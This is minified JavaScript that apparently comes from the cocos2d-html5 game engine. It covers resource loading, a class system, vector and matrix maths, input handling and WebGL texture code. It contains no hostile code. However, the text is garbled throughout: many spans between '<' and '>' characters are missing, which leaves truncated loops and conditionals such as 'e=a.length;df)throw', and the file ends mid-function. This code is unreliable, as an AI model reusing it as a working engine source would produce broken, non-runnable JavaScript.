var b=b||{};b.B=b.B||{};b.e={};n=window;n=Object.prototype;delete window._p;b.Ob=function(a){return document.createElement(a)};b.Ja=function(a,c,d,e){a.addEventListener(c,d,e)};b.CK="undefined"!==typeof require&&require("fs");b.RM=function(a,c){if(a)if(a instanceof Array)for(var d=0,e=a.length;df)throw"arguments error!";"function"==typeof c&&(c={wF:c});if(void 0!==d)c.cd=d||c.cd;else if(void 0===a)throw"arguments error!"; var g=(f=a instanceof Array)?a.length:Object.keys(a).length;if(0===g)c.cd&&c.cd.call(c.sM,null);else{var h={length:g,count:g,tO:c,SO:f?[]:{}};b.RM(a,function(a,d){if(h.JE)return!1;var f=c.cd?e.jJ.bind({xM:h,index:d}):e.YJ;c.wF.call(c.n1,a,d,f)})}}}; b.path={join:function(){for(var a=arguments.length,c="",d=0;dd?a+c+e:a.substring(0,d)+c+e},Po:function(a,c,d){if(0==c.indexOf("."))return this.tM(a,c);var e=a.indexOf("?"),f="";d=d?this.Xk(a):"";0=e?0:e+1)+c+d+f}}; b.V={IK:{},qw:{},NW:{},Il:{},ty:"",iZ:"",Zf:{},wx:function(){return window.XMLHttpRequest?new window.XMLHttpRequest:new ActiveXObject("MSXML2.XMLHTTP")},jK:function(a){var c=a[0],d=a[1],e=a[2],f=["",null,null];if(1===a.length)f[1]=c instanceof Array?c:[c];else if(2===a.length)"function"==typeof d?(f[1]=c instanceof Array?c:[c],f[2]=d):(f[0]=c||"",f[1]=d instanceof Array?d:[d]);else if(3===a.length)f[0]=c||"",f[1]=d instanceof Array?d:[d],f[2]=e;else throw"arguments error to load js!";return f},U1:function(a, c,d){var e=this,f=e.IK,g=e.jK(arguments);-1=c.length)e&&e();else{var f=this;f.kJ(b.path.join(a,c[d]),!1,function(g){if(g)return e(g);f.NK(a,c,d+1,e)})}},QW:function(){var a=document,c=a.getElementById("cocos2d_loadJsImg");if(!c){c=b.Ob("img");b.QK&&(c.src=b.QK);a=a.getElementById(b.Hc.Qe.id);a.style.backgroundColor="black";a.parentNode.appendChild(c);var d=getComputedStyle?getComputedStyle(a):a.currentStyle;d||(d={width:a.width, height:a.height});c.style.left=a.offsetLeft+(parseFloat(d.width)-c.width)/2+"px";c.style.top=a.offsetTop+(parseFloat(d.height)-c.height)/2+"px";c.style.position="absolute"}return c},ay:function(a,c){if(b.CK)require("fs").zga(a,function(a,d){a?c(a):c(null,d.toString())});else{var d=this.wx(),e="load "+a+" failed!";d.open("GET",a,!0);/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)?(d.setRequestHeader("Accept-Charset","utf-8"),d.onreadystatechange=function(){4==d.readyState&&200== d.status?c(null,d.responseText):c(e)}):(d.overrideMimeType&&d.overrideMimeType("text/plain; charset\x3dutf-8"),d.onload=function(){4==d.readyState&&200==d.status?c(null,d.responseText):c(e)});d.send(null)}},OK:function(a){if(b.CK)return require("fs").Aga(a).toString();var c=this.wx();c.open("GET",a,!1);/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)?c.setRequestHeader("Accept-Charset","utf-8"):c.overrideMimeType&&c.overrideMimeType("text/plain; charset\x3dutf-8");c.send(null); return 4==!c.readyState||200!=c.status?null:c.responseText},nO:function(a,c){this.ay(a,function(d,e){try{d?c(d):c(null,JSON.parse(e))}catch(f){throw"load json ["+a+"] failed : "+f;}})},fJ:function(a){return null!=/(\.png)|(\.jpg)|(\.bmp)|(\.jpeg)|(\.gif)/.exec(a)},ht:function(a,c,d){var e=!0;void 0!==d?e=null==c.rF?e:c.rF:void 0!==c&&(d=c);var f=new Image;e&&"file://"!=location.origin&&(f.crossOrigin="Anonymous");b.Ja(f,"load",function(){this.removeEventListener("load",arguments.callee,!1);this.removeEventListener("error", arguments.callee,!1);d&&d(null,f)});b.Ja(f,"error",function(){this.removeEventListener("error",arguments.callee,!1);d&&d("load image failed")});f.src=a;return f},RW:function(a,c,d){var e=this,f=null;(c=a.type)?(c="."+c.toLowerCase(),f=a.src?a.src:a.name+c):(f=a,c=b.path.Xk(f));var g=e.Zf[f];if(g)return d(null,g);g=e.qw[c.toLowerCase()];if(!g)return b.error("loader for ["+c+"] not exists!"),d();c=e.B0(g.nx?g.nx():e.ty,f);g.load(c,f,a,function(a,c){a?(b.log(a),e.Zf[f]=null,delete e.Zf[f],d()):(e.Zf[f]= c,d(null,c))})},B0:function(a,c){var d=this.NW,e=b.path;if(void 0!==a&&void 0===c){c=a;var f=e.Xk(c),f=f?f.toLowerCase():"";a=(f=this.qw[f])?f.nx?f.nx():this.ty:this.ty}c=b.path.join(a||"",c);if(c.match(/[\/(\\\\)]lang[\/(\\\\)]/i)){if(d[c])return d[c];e=e.Xk(c)||"";c=d[c]=c.substring(0,c.length-e.length)+"_"+b.ib.language+e}return c},load:function(a,c,d){if(void 0!==d)"function"==typeof c&&(c={DG:c});else if(void 0!==c)"function"==typeof c&&(d=c,c={});else if(void 0!==a)c={};else throw"arguments error!"; c.cd=function(a,c){a&&b.log(a);d&&d(c)};a instanceof Array||(a=[a]);c.wF=this.RW;c.n1=this;b.async.map(a,c)},rK:function(a,c){var d=this.Il,e=[],f;for(f in a){var g=a[f];d[f]=g;e.push(g)}this.load(e,c)},nfa:function(a,c){var d=this,e=d.Gd(a);e?d.rK(e.filenames,c):d.load(a,function(a){d.rK(a[0].filenames,c)})},Kj:function(a,c){if(a&&c){if("string"==typeof a)return this.qw[a.trim().toLowerCase()]=c;for(var d=0,e=a.length;dp.indexOf("core")&&p.splice(0,0,"core");for(var u=0,t=p.length;ud;d++)for(var e=0;256>e;e++)c[String.fromCharCode(d+256*e)]=String.fromCharCode(d)+String.fromCharCode(e);d=IEBinaryToArray_ByteStr(a);a=IEBinaryToArray_ByteStr_Last(a);return d.replace(/[\s\S]/g,function(a){return c[a]})+a}};b=b||{};b.QK="data:image/gif;base64,R0lGODlhEAAQALMNAD8/P7+/vyoqKlVVVX9/fxUVFUBAQGBgYMDAwC8vL5CQkP///wAAAP///wAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQFAAANACwAAAAAEAAQAAAEO5DJSau9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ns3sESR8Crh9WAJGjSOKuU3E+zdZQ3oJh8IArdZXFDmOTpHa3i2+YrI2KtKy4ricBsBuHHgFXSo440+Wa2qqxjvM9uMoy+WvzWpLCWWWE28HxL6e43ojgkeSCBY1Ri5BGIUDT51cl3vm276BBqSEH4WbxV0tlkyXJcxTMb+OW6uY9mGHrCzDQwwAbTp2uKuTZ9N1uYsfRRR8WPhrm419mSSjRyiqxVK7y23B/ftuTm2oSdJyzNVw3BFn7vTlbnqF9dS2fu9OVueon11lZuQ2iLdsGFD05H2dNQGV0ntG5Tz1dWm9N1b2kVq8EVwsI2UaQaQOKhmitZGLOmk68DhSFvY+gfWNSAg7z3Qvo7yKCKIohiaNR5LKxx8qpxvjcqS0VpbxvwOAcRQPZ7D0G9Y0uz2HoH1jUCpLY7zXlpbm3eKO5QuzjrBqZji3x17PvNcyT288VvDBJbMWUovS2hslW7mFQ9nsPQPrGl2ew9A+saCod/WNxtbYsrfb17WBxx5ddD2281xC88klvDcSXEnWuzrqOGGC9zRUPZ7D0G9Y0uzWHoH1jQVCLreq6ntZbaO3it1mGy7RjTs1X2mYy20ZiCq8ZOODcdEdmsPQb1jS7PYegfWNdJuLqnQiSUlRqpFLmryxtH1Ma7Qw2gNNPOdSt0oI27p007s9h6B9Y0uz2HoH1jXX3Z+I4+1b8IJdX89xLHKQFMXQUahpxoiPN5P+onfU+A0/s9h6DesaXZ7D0D6xpG7OLbUtu0StW5JJx2bBsmbtiSiEk+cxoCWWSaVpZOk2vDVo0VYdnsPQb1jSNvZcCH1jSd2c+p1XAmFqEOmOPEfaH+BQd1ueo211IzrgFUYKNAAqI1WztCpUqVCRUqVKgFSpUqAVKlSoBUqVKgFSpUqAVKlSoBUqVKgFSpUqAVKlSoD/9k\x3d";var b=b||{},C={id:0|998*Math.random(),c1:0|998*Math.random(),vM:function(a,c,d){a=a.toString();var e=a.substring(a.indexOf("(")+1,a.indexOf(")")),e=e.trim();for(a=a.substring(a.indexOf("{")+1,a.lastIndexOf("}"));-1!=a.indexOf("this._super");){var f=a.indexOf("this._super"),g=a.indexOf("(",f),h=a.substring(g+1,a.indexOf(")",g)),h=h.trim();a=a.substring(0,f)+"ClassManager["+d+"]."+c+".call(this"+(h?",":"")+a.substring(g+1)}return Function(e,a)},e0:function(){return this.id++},f0:function(){return this.c1++}}; C.vM.M5=C; (function(){var a=/\b_super\b/,c=b.Hc.Qe[b.Hc.bh.tZ];c&&console.log("release Mode");b.ja=function(){};b.ja.extend=function(d){function e(){this.xa=C.f0();this.ctor&&this.ctor.apply(this,arguments)}var f=this.prototype,g=Object.create(f),h=C.e0();C[h]=f;var k={writable:!0,enumerable:!1,configurable:!0};g.xa=null;e.id=h;k.value=h;Object.defineProperty(g,"__pid",k);e.prototype=g;k.value=e;Object.defineProperty(e.prototype,"constructor",k);this.$h&&(e.$h=b.j(this.$h));this.ai&&(e.ai=b.j(this.ai));for(var m= 0,p=arguments.length;m=c.x||a.y>=c.y||a.x+a.width<=c.x+c.width||a.y+a.height<=c.y+c.height):!1};b.zt=function(a){return a.x+a.width};b.Fga=function(a){return a.x+a.width/2}; b.yp=function(a){return a.x};b.At=function(a){return a.y+a.height};b.Gga=function(a){return a.y+a.height/2};b.zp=function(a){return a.y};b.HO=function(a,c){return c.x>=b.yp(a)&&c.x<=b.zt(a)&&c.y>=b.zp(a)&&c.y<=b.At(a)};b.JO=function(a,c){var d=a.y+a.height,e=c.x+c.width,f=c.y+c.height;return!(a.x+a.widtha?0:a};a.VV=function(){return this.CB[0]};a.QX=function(a){this.CB[0]=0>a?0:a};a.NV=function(){return this.SA[0]};a.HX=function(a){this.SA[0]=0>a?0:a};a.JV=function(){return this.LA[0]};a.GX=function(a){this.LA[0]=0>a?0:a};b.f(a,"r",a.fW,a.VX);b.f(a,"g",a.VV,a.QX);b.f(a,"b",a.NV,a.HX);b.f(a,"a", a.JV,a.GX);b.Zb=function(a,d,e,f){this.Vc=e||new ArrayBuffer(b.Zb.BYTES_PER_ELEMENT);this.la=f||0;this.um=new Float32Array(this.Vc,this.la,1);this.vm=new Float32Array(this.Vc,this.la+4,1);this.um[0]=a||0;this.vm[0]=d||0};b.Zb.BYTES_PER_ELEMENT=8;Object.defineProperties(b.Zb.prototype,{x:{get:function(){return this.um[0]},set:function(a){this.um[0]=a},enumerable:!0},y:{get:function(){return this.vm[0]},set:function(a){this.vm[0]=a},enumerable:!0}});b.tc=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(b.tc.BYTES_PER_ELEMENT); this.la=g||0;f=this.Vc;g=this.la;this.um=new Float32Array(f,g,1);this.um[0]=a||0;this.vm=new Float32Array(f,g+Float32Array.BYTES_PER_ELEMENT,1);this.vm[0]=d||0;this.cE=new Float32Array(f,g+2*Float32Array.BYTES_PER_ELEMENT,1);this.cE[0]=e||0};b.tc.BYTES_PER_ELEMENT=12;Object.defineProperties(b.tc.prototype,{x:{get:function(){return this.um[0]},set:function(a){this.um[0]=a},enumerable:!0},y:{get:function(){return this.vm[0]},set:function(a){this.vm[0]=a},enumerable:!0},z:{get:function(){return this.cE[0]}, set:function(a){this.cE[0]=a},enumerable:!0}});b.$j=function(a,d,e,f){this.Vc=e||new ArrayBuffer(b.$j.BYTES_PER_ELEMENT);this.la=f||0;this.KD=new Float32Array(this.Vc,this.la,1);this.QD=new Float32Array(this.Vc,this.la+4,1);this.KD[0]=a||0;this.QD[0]=d||0};b.$j.BYTES_PER_ELEMENT=8;Object.defineProperties(b.$j.prototype,{ea:{get:function(){return this.KD[0]},set:function(a){this.KD[0]=a},enumerable:!0},fa:{get:function(){return this.QD[0]},set:function(a){this.QD[0]=a},enumerable:!0}});b.Rz=function(a, d,e,f,g,h){this.Vc=g||new ArrayBuffer(b.Rz.BYTES_PER_ELEMENT);this.la=h||0;g=this.Vc;h=b.Zb.BYTES_PER_ELEMENT;this.Fo=a?new b.Zb(a.x,a.y,g,0):new b.Zb(0,0,g,0);this.Io=d?new b.Zb(d.x,d.y,g,h):new b.Zb(0,0,g,h);this.Bn=e?new b.Zb(e.x,e.y,g,2*h):new b.Zb(0,0,g,2*h);this.Fn=f?new b.Zb(f.x,f.y,g,3*h):new b.Zb(0,0,g,3*h)};b.Rz.BYTES_PER_ELEMENT=32;b.Du=function(a,d,e,f){this.F=a||new b.tc(0,0,0);this.M=d||new b.tc(0,0,0);this.L=e||new b.tc(0,0,0);this.J=f||new b.tc(0,0,0)};Object.defineProperties(b.Rz.prototype, {L:{get:function(){return this.Fo},set:function(a){this.Fo.x=a.x;this.Fo.y=a.y},enumerable:!0},J:{get:function(){return this.Io},set:function(a){this.Io.x=a.x;this.Io.y=a.y},enumerable:!0},F:{get:function(){return this.Bn},set:function(a){this.Bn.x=a.x;this.Bn.y=a.y},enumerable:!0},M:{get:function(){return this.Fn},set:function(a){this.Fn.x=a.x;this.Fn.y=a.y},enumerable:!0}});b.wg=function(a,d,e,f,g){this.Vc=f||new ArrayBuffer(b.wg.BYTES_PER_ELEMENT);this.la=g||0;f=this.Vc;g=this.la;var h=b.tc.BYTES_PER_ELEMENT; this.Ua=a?new b.tc(a.x,a.y,a.z,f,g):new b.tc(0,0,0,f,g);this.gr=d?b.color(d.r,d.g,d.b,d.a,f,g+h):b.color(0,0,0,0,f,g+h);this.Xf=e?new b.$j(e.ea,e.fa,f,g+h+b.Af.BYTES_PER_ELEMENT):new b.$j(0,0,f,g+h+b.Af.BYTES_PER_ELEMENT)};b.wg.BYTES_PER_ELEMENT=24;Object.defineProperties(b.wg.prototype,{i:{get:function(){return this.Ua},set:function(a){var d=this.Ua;d.x=a.x;d.y=a.y;d.z=a.z},enumerable:!0},t:{get:function(){return this.gr},set:function(a){var d=this.gr;d.r=a.r;d.g=a.g;d.b=a.b;d.a=a.a},enumerable:!0}, l:{get:function(){return this.Xf},set:function(a){this.Xf.ea=a.ea;this.Xf.fa=a.fa},enumerable:!0}});b.Cb=function(a,d,e,f,g,h){this.Vc=g||new ArrayBuffer(b.Cb.BYTES_PER_ELEMENT);this.la=h||0;g=this.Vc;h=this.la;var k=b.wg.BYTES_PER_ELEMENT;this.Fo=a?new b.wg(a.i,a.t,a.l,g,h):new b.wg(null,null,null,g,h);this.Bn=d?new b.wg(d.i,d.t,d.l,g,h+k):new b.wg(null,null,null,g,h+k);this.Io=e?new b.wg(e.i,e.t,e.l,g,h+2*k):new b.wg(null,null,null,g,h+2*k);this.Fn=f?new b.wg(f.i,f.t,f.l,g,h+3*k):new b.wg(null, null,null,g,h+3*k)};b.Cb.BYTES_PER_ELEMENT=96;Object.defineProperties(b.Cb.prototype,{L:{get:function(){return this.Fo},set:function(a){var d=this.Fo;d.i=a.i;d.t=a.t;d.l=a.l},enumerable:!0},F:{get:function(){return this.Bn},set:function(a){var d=this.Bn;d.i=a.i;d.t=a.t;d.l=a.l},enumerable:!0},J:{get:function(){return this.Io},set:function(a){var d=this.Io;d.i=a.i;d.t=a.t;d.l=a.l},enumerable:!0},M:{get:function(){return this.Fn},set:function(a){var d=this.Fn;d.i=a.i;d.t=a.t;d.l=a.l},enumerable:!0}, Ww:{get:function(){return this.Vc},enumerable:!0}});b.KI=function(){return new b.Cb};b.JI=function(a){if(!a)return b.KI();var d=a.L,e=a.F,f=a.J;a=a.M;return{L:{i:{x:d.i.x,y:d.i.y,z:d.i.z},t:{r:d.t.r,g:d.t.g,b:d.t.b,a:d.t.a},l:{ea:d.l.ea,fa:d.l.fa}},F:{i:{x:e.i.x,y:e.i.y,z:e.i.z},t:{r:e.t.r,g:e.t.g,b:e.t.b,a:e.t.a},l:{ea:e.l.ea,fa:e.l.fa}},J:{i:{x:f.i.x,y:f.i.y,z:f.i.z},t:{r:f.t.r,g:f.t.g,b:f.t.b,a:f.t.a},l:{ea:f.l.ea,fa:f.l.fa}},M:{i:{x:a.i.x,y:a.i.y,z:a.i.z},t:{r:a.t.r,g:a.t.g,b:a.t.b,a:a.t.a},l:{ea:a.l.ea, fa:a.l.fa}}}};b.D7=function(a){if(!a)return[];for(var d=[],e=0;e>16,(a>>8)%256,a%256)};b.t9=function(a){var c=a.r.toString(16),d=a.g.toString(16),e=a.b.toString(16);return"#"+(16>a.r?"0"+c:c)+(16>a.g?"0"+d:d)+(16>a.b?"0"+e:e)};b.Iu=0;b.un=1;b.ZH=2;b.Tq=0;b.uU=1;b.LI=2; b.I7=b.ja.extend({po:null,ws:null,KA:0,ctor:function(){this.po={};this.ws={};this.KA=2<<(0|10*Math.random())},FU:function(){this.KA++;return"key_"+this.KA},via:function(a,c){if(null!=c){var d=this.FU();this.po[d]=c;this.ws[d]=a}},a2:function(a){if(null==a)return null;var c=this.po,d;for(d in c)if(c[d]===a)return this.ws[d];return null},kka:function(a){return this.a2(a)},M2:function(a){if(null!=a){var c=this.po,d;for(d in c)if(c[d]===a){delete this.ws[d];delete c[d];break}}},Wga:function(a){if(null!= a)for(var c=0;cMath.abs(a-d)&&(d=a);2>Math.abs(c-e)&&(e=c);a=Q(Math.round((a-d)/2),Math.round((c-e)/2),d,e);b.A==b.Ea&&b.k.translate(a.x,a.y+e);this.QC.scale=[f,g];this.QC.viewport=a;return this.QC},Um:function(){},apply:function(){return{scale:[1,1]}},Tm:function(){}}); (function(){var a=b.Sj.extend({apply:function(a){this.lD(a,a.ie.width,a.ie.height)}}),c=b.Sj.extend({apply:function(a,c){var d=a.ie.width,e=a.ie.height,f=b.Bm.style,r=c.width,s=c.height,u=d/r,t=e/s,v,w;u>=1}return-1},AX:function(a){0>a||a>=this.hC||(a=~(1<=d.length?d.push(a):(d[this.CC]=a,this.CC=(this.CC+1)%50))},Us:function(a,c,d){var e=this.aL;a=this.yk.vE(a,c,d);c=new b.oA(a.x,a.y);c.vo(e.x,e.y);e.x=a.x;e.y=a.y;return c},ep:function(a,c,d){var e=this.uX;this.yk.oV(a,c);c=new b.Cc(d);c.x3(a.x,a.y); c.UX(e.x,e.y);e.x=a.x;e.y=a.y;return c},fp:function(a,c){if(null!=a.pageX)return{x:a.pageX,y:a.pageY};c.left-=document.body.scrollLeft;c.top-=document.body.scrollTop;return{x:a.clientX,y:a.clientY}},vx:function(a,c){for(var d=[],e=this.yk,f,g,h=this.aL,k=a.changedTouches.length,m=0;mthis.bv&&(this.Hl-=this.bv,b.sa.dispatchEvent(new b.$Q(this.MA)));this.Hl+=a}};var n=b.VN;n.uha=function(a){this.av!==a&&(this.av=a,a=b.D.Yk(),this.av?(this.Hl=0,a.bG(this)):(this.Hl=0,a.St(this)))};n.vha=function(a){this.bv!==a&&(this.bv=a)};n.lL=function(){b.Ja(b.Za,"keydown",function(a){b.sa.dispatchEvent(new b.bH(a.keyCode,!0));a.stopPropagation();a.preventDefault()},!1);b.Ja(b.Za,"keyup",function(a){b.sa.dispatchEvent(new b.bH(a.keyCode,!1));a.stopPropagation();a.preventDefault()},!1)}; n.kL=function(){var a=window;this.MA=new b.dQ;this.$u=a.DeviceMotionEvent||a.DeviceOrientationEvent;b.ib.zm==b.ib.RG&&(this.$u=window.DeviceOrientationEvent);b.Ja(a,this.$u==a.DeviceMotionEvent?"devicemotion":"deviceorientation",this.IZ.bind(this),!1)}; n.IZ=function(a){var c=window;if(this.av){var d=this.MA;if(this.$u==window.DeviceMotionEvent){var e=a.accelerationIncludingGravity;d.x=this.WI*e.x*0.1;d.y=this.WI*e.y*0.1;d.z=0.1*e.z}else d.x=a.gamma/90*0.981,d.y=0.981*-(a.beta/90),d.z=a.alpha/90*0.981;d.timestamp=a.timeStamp||Date.now();a=d.x;c.orientation===b.iU?(d.x=-d.y,d.y=a):c.orientation===b.hU?(d.x=d.y,d.y=-a):c.orientation===b.jU&&(d.x=-d.x,d.y=-d.y)}};delete n;b.o5=function(a,c,d,e,f,g){this.a=a;this.b=c;this.C=d;this.I=e;this.Na=f;this.Oa=g};b.r5=function(a,c,d,e,f,g){return{a:a,b:c,C:d,I:e,Na:f,Oa:g}};b.LH=function(a,c){return{x:c.a*a.x+c.C*a.y+c.Na,y:c.b*a.x+c.I*a.y+c.Oa}};b.hk=function(a,c,d){return{x:d.a*a+d.C*c+d.Na,y:d.b*a+d.I*c+d.Oa}};b.a7=function(a,c){return{width:c.a*a.width+c.C*a.height,height:c.b*a.width+c.I*a.height}};b.s5=function(){return{a:1,b:0,C:0,I:1,Na:0,Oa:0}};b.q5=function(){return{a:1,b:0,C:0,I:1,Na:0,Oa:0}}; b.Sz=function(a,c){var d=b.zp(a),e=b.yp(a),f=b.zt(a),g=b.At(a),h=b.hk(e,d,c),d=b.hk(f,d,c),e=b.hk(e,g,c),k=b.hk(f,g,c),f=Math.min(h.x,d.x,e.x,k.x),g=Math.max(h.x,d.x,e.x,k.x),m=Math.min(h.y,d.y,e.y,k.y),h=Math.max(h.y,d.y,e.y,k.y);return Q(f,m,g-f,h-m)}; b.DU=function(a,c){var d=b.zp(a),e=b.yp(a),f=b.zt(a),g=b.At(a),h=b.hk(e,d,c),d=b.hk(f,d,c),e=b.hk(e,g,c),k=b.hk(f,g,c),f=Math.min(h.x,d.x,e.x,k.x),g=Math.max(h.x,d.x,e.x,k.x),m=Math.min(h.y,d.y,e.y,k.y),h=Math.max(h.y,d.y,e.y,k.y);a.x=f;a.y=m;a.width=g-f;a.height=h-m;return a};b.hQ=function(a,c,d){return{a:a.a,b:a.b,C:a.C,I:a.I,Na:a.Na+a.a*c+a.C*d,Oa:a.Oa+a.b*c+a.I*d}};b.u5=function(a,c,d){return{a:a.a*c,b:a.b*c,C:a.C*d,I:a.I*d,Na:a.Na,Oa:a.Oa}}; b.t5=function(a,c){var d=Math.sin(c),e=Math.cos(c);return{a:a.a*e+a.C*d,b:a.b*e+a.I*d,C:a.C*e-a.a*d,I:a.I*e-a.b*d,Na:a.Na,Oa:a.Oa}};b.nl=function(a,c){return{a:a.a*c.a+a.b*c.C,b:a.a*c.b+a.b*c.I,C:a.C*c.a+a.I*c.C,I:a.C*c.b+a.I*c.I,Na:a.Na*c.a+a.Oa*c.C+c.Na,Oa:a.Na*c.b+a.Oa*c.I+c.Oa}};b.p5=function(a,c){return a.a===c.a&&a.b===c.b&&a.C===c.C&&a.I===c.I&&a.Na===c.Na&&a.Oa===c.Oa}; b.LG=function(a){var c=1/(a.a*a.I-a.b*a.C);return{a:c*a.I,b:-c*a.b,C:-c*a.C,I:c*a.a,Na:c*(a.C*a.Oa-a.I*a.Na),Oa:c*(a.b*a.Na-a.a*a.Oa)}};b.xH=parseFloat("1.192092896e-07F");b.MF=function(a){return N(-a.x,-a.y)};b.Hi=function(a,c){return N(a.x+c.x,a.y+c.y)};b.Id=function(a,c){return N(a.x-c.x,a.y-c.y)};b.Ii=function(a,c){return N(a.x*c,a.y*c)};b.zO=function(a,c){return b.Ii(b.Hi(a,c),0.5)};b.vp=function(a,c){return a.x*c.x+a.y*c.y};b.f2=function(a,c){return a.x*c.y-a.y*c.x};b.ly=function(a){return N(-a.y,a.x)};b.bga=function(a){return N(a.y,-a.x)};b.aga=function(a,c){return b.Ii(c,b.vp(a,c)/b.vp(c,c))}; b.cga=function(a,c){return N(a.x*c.x-a.y*c.y,a.x*c.y+a.y*c.x)};b.fga=function(a,c){return N(a.x*c.x+a.y*c.y,a.y*c.x-a.x*c.y)};b.xO=function(a){return b.vp(a,a)};b.wO=function(a,c){return b.xO(b.Id(a,c))};b.dl=function(a){return Math.sqrt(b.xO(a))};b.Xfa=function(a,c){return b.dl(b.Id(a,c))};b.Pg=function(a){return b.Ii(a,1/b.dl(a))};b.Yfa=function(a){return N(Math.cos(a),Math.sin(a))};b.j2=function(a){return Math.atan2(a.y,a.x)};b.Sc=function(a,c,d){if(c>d){var e=c;c=d;d=e}return a=f.x&&0<=f.y&&1>=f.y?!0:!1};b.$fa=function(a,c,d,e){var f=N(0,0);return b.LF(a,c,d,e,f)?(d=N(0,0),d.x=a.x+f.x*(c.x-a.x),d.y=a.y+f.x*(c.y-a.y),d):N(0,0)};b.dga=function(a,c){return null!=a&&null!=c?a.x==c.x&&a.y==c.y:!1};b.my=function(a){a.x=0;a.y=0};b.Hj=function(a,c){a.x=c.x;a.y=c.y};b.wp=function(a,c){a.x*=c;a.y*=c};b.AO=function(a,c){a.x-=c.x;a.y-=c.y};b.ky=function(a,c){a.x+=c.x;a.y+=c.y}; b.h2=function(a){b.wp(a,1/Math.sqrt(a.x*a.x+a.y*a.y))};b.GG=function(a,c,d,e,f){f+=e;if(!(1>=f)){c*=0.5;for(var g,h=f-1,k=e;kc.value||1k.zb)this.YD(k,!1);else break;null!=h[a.xa]&&(g[a.aj]||(g[a.aj]=[]),g[a.aj].push(a.xa));for(;eg[d].zb)g[d].T();else break;for(this.Z(a);de.zb)e.T(a);else break;for(this.Z(a);ce&&-1E-6f&&-1E-6e||d>e)return b.log(b.e.PT,c,d,e,e),!1;this.vc=!0;return this.xW(a,c,d)},rd:function(a){a&&(this.Xd=b.k.createTexture(),this.Db=a)},S_:function(){return this.Db},i1:function(){return this.vc},Nb:function(){if(b.rw){if(!this.Db){var a= b.V.Gd(this.url);if(!a)return;this.rd(a)}this.Db.width&&this.Db.height&&(this.vc=!0,a=b.k,b.te(this),a.pixelStorei(a.UNPACK_ALIGNMENT,4),a.texImage2D(a.TEXTURE_2D,0,a.RGBA,a.RGBA,a.UNSIGNED_BYTE,this.Db),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.LINEAR),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_S,a.CLAMP_TO_EDGE),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_T,a.CLAMP_TO_EDGE),this.shaderProgram=b.Ld.nc(b.Eq),b.te(null),a=this.Db.height, this.lj=this.O.width=this.Db.width,this.kj=this.O.height=a,this.ni=b.da.Si,this.Gi=this.Fi=1,this.fo=this.Pv=!1,this.Qd())}},sd:function(){b.log(b.e.UT);return null},R0:function(){b.log(b.e.NT);return!1},U0:function(){b.log(b.e.RT);return!1},V0:function(){b.log(b.e.TT);return!1},U3:function(a){var c=b.k;b.assert(this.lj==b.Uj(this.lj)&&this.kj==b.Uj(this.kj)||a.T4==c.CLAMP_TO_EDGE&&a.U4==c.CLAMP_TO_EDGE,"WebGLRenderingContext.CLAMP_TO_EDGE should be used in NPOT textures");b.te(this);c.texParameteri(c.TEXTURE_2D, c.TEXTURE_MIN_FILTER,a.ufa);c.texParameteri(c.TEXTURE_2D,c.TEXTURE_MAG_FILTER,a.qfa);c.texParameteri(c.TEXTURE_2D,c.TEXTURE_WRAP_S,a.T4);c.texParameteri(c.TEXTURE_2D,c.TEXTURE_WRAP_T,a.U4)},d3:function(){var a=b.k;b.te(this);this.fo?a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR_MIPMAP_NEAREST):a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR);a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.NEAREST)},cG:function(){var a=b.k;b.te(this);this.fo?a.texParameteri(a.TEXTURE_2D, a.TEXTURE_MIN_FILTER,a.NEAREST_MIPMAP_NEAREST):a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.NEAREST);a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.NEAREST)},generateMipmap:function(){b.assert(this.lj==b.Uj(this.lj)&&this.kj==b.Uj(this.kj),"Mimpap texture only works in POT textures");b.te(this);b.k.generateMipmap(b.k.TEXTURE_2D);this.fo=!0},v4:function(){return b.da.CU[this.ni]},pZ:function(a){a=a||this.ni;var c=b.da.QI[a];if(null!=c)return c;b.log(b.e.KT,a);return-1},xW:function(a,c, d){var e=b.da,f=a.getData(),g=null,g=null,h=a.Mca(),k=O(a.F0(),a.Q_()),m=e.FM,p=a.caa();h||(8<=p?m=e.zq:(b.log(b.e.HT),m=e.yq));var r=c*d;if(m==e.yq)if(h)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p>0&255)>>3<<11|(g[p]>>8&255)>>2<<5|(g[p]>>16&255)>>3<<0;else for(f=new Uint16Array(c*d),g=a.getData(),p=0;p>3<<11|(g[p]&255)>>2<<5|(g[p]&255)>>3<<0;else if(m==e.zu)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p>0&255)>>4<<12|(g[p]>>8&255)>>4<< 8|(g[p]>>16&255)>>4<<4|(g[p]>>24&255)>>4<<0;else if(m==e.yu)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p>0&255)>>3<<11|(g[p]>>8&255)>>3<<6|(g[p]>>16&255)>>3<<1|(g[p]>>24&255)>>7<<0;else if(m==e.xq)for(f=new Uint8Array(c*d),g=a.getData(),p=0;p>24&255;if(h&&m==e.zq)for(g=a.getData(),f=new Uint8Array(c*d*3),p=0;p>0&255,f[3*p+1]=g>>8&255,f[3*p+2]=g>>16&255;this.at(f,m,c,d,k);a.getData();this.Pv=a.ida();return!0},Yd:function(a,c){this.gb||(this.gb=[]); this.gb.push({Fh:a,ag:c})},L2:function(a){if(this.gb)for(var c=this.gb,d=0;dthis.zd)b.log(b.e.dI);else{var d=b.Cb.BYTES_PER_ELEMENT,e=c* d,f=(this.Pa-1-c)*d;this.Ec[this.Pa-1]=new b.Cb(null,null,null,null,this.Zc,(this.Pa-1)*d);this.Tf.set(this.Tf.subarray(e,e+f),e+d);this.xw(a,c);this.dirty=!0}},Uca:function(a,c,d){d=d||a.length;b.assert(c+d<=this.zd,b.e.$T);var 